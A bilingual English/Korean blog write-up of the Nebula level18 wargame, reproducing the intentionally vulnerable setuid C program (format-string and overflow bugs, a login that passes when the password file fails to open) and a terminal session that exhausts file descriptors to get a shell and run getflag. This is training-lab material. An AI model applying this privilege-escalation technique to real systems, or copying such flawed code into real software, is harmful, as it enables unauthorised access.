July 07, 2019

Nebula level18 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level18

About
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

관련 사항.
C 코드로 작성된 프로그램을 분석하고 취약점을 발견하라. 클리어를 위한 방법은 총 3가지(쉬움/보통/어려움)가 있다.

To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18.

level18(pw: level18) 계정을 이용한다. 관련 파일은 /home/flag18에 있다.

Source code.    소스코드.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;     
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
 
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
 
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

The settings of the system may also be used.
시스템의 설정이 이용될 수도 있다.

By limiting resource use of a process, it is possible to create an exceptional situation that prevents the program from dealing with it.

프로세스의 자원 사용 제한을 통해 예외 상황을 유발하여 프로그램이 대처하지 못하는 상황을 조성하는 것이다.

Here, the number of file openings is limited.
여기서는 파일 개방 개수를 제한한다.

level18@nebula:/home/flag18$ ./flag18 --rcfile -d /dev/tty
./flag18: invalid option -- '-'
./flag18: invalid option -- 'r'
./flag18: invalid option -- 'c'
./flag18: invalid option -- 'f'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'l'
./flag18: invalid option -- 'e'
Starting up. Verbose level = 0
login 1
login 1
login 1
login 1
login 1
login 1
login 1
logged in successfully (without password file)
■■■■■■■
■■■■■

id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account